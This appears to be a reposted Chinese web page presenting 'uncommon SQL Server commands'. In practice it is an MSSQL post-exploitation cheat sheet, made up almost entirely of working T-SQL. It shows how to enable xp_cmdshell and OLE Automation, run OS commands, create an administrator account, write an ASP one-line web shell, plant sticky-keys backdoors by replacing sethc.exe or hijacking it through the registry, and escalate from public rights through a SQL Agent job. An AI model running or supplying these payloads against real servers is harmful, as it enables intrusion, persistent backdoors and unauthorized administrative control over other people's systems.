SQL 不常用的一些命令sp_OACreate,xp_cmdshell,sp_makewebtask

来源:互联网 发布:淘宝3000多的实体娃娃 编辑:程序博客网 时间:2024/06/06 09:17
1.开启和关毕xp_cmdshellEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 开启xp_cmdshellEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;-- 关毕xp_cmdshellEXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options2.xp_cmdshell执行命令EXEC master..xp_cmdshell 'ipconfig'3.开启和关毕sp_oacreateexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; 开启exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; 关毕EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options4.sp_OACreate删除文件DECLARE @Result intDECLARE @FSO_Token intEXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUTEXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\user.bat'EXEC @Result = sp_OADestroy @FSO_Token5.sp_OACreate复制文件declare @o intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';6.sp_OACreate移动文件declare @aa intexec sp_oacreate 'scripting.filesystemobject', @aa outexec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log', 'c:\temp\ipmi1.log';7.sp_OACreate加管理员用户DECLARE @js intEXEC sp_OACreate 'ScriptControl',@js OUTEXEC sp_OASetProperty @js, 'Language', 'JavaScript'EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'8.开启和关毕sp_makewebtaskexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options9.sp_makewebtask新建文件exec sp_makewebtask 'c:\windows.txt',' select ''<%25execute(request("a"))%25>'' ';;--10.wscript.shell执行命令use masterdeclare @o intexec sp_oacreate 'wscript.shell',@o outexec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'11.Shell.Application执行命令declare @o intexec sp_oacreate 'Shell.Application', @o outexec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';orexec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';12.开启和关毕openrowsetexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; 开启exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE; 关毕EXEC sp_configure 'show advanced options', 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options13.沙盒执行命令exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 默认为3select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')14.注册表劫持粘贴键exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File ExecutionOptions\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';15.sp_oacreate替换粘贴键declare @o intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';declare @oo intexec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';16.public权限提权操作USE msdbEXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com@enabled = 1,@description = 'This will give a low privileged user access toxp_cmdshell',@delete_level = 1EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',@step_name = 'Exec my sql',@subsystem = 'TSQL',@command = 'exec master..xp_execresultset N''select ''''execmaster..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',@server_name = 'SERVER_NAME'EXEC sp_start_job @job_name = 'GetSystemOnSQL'

0 0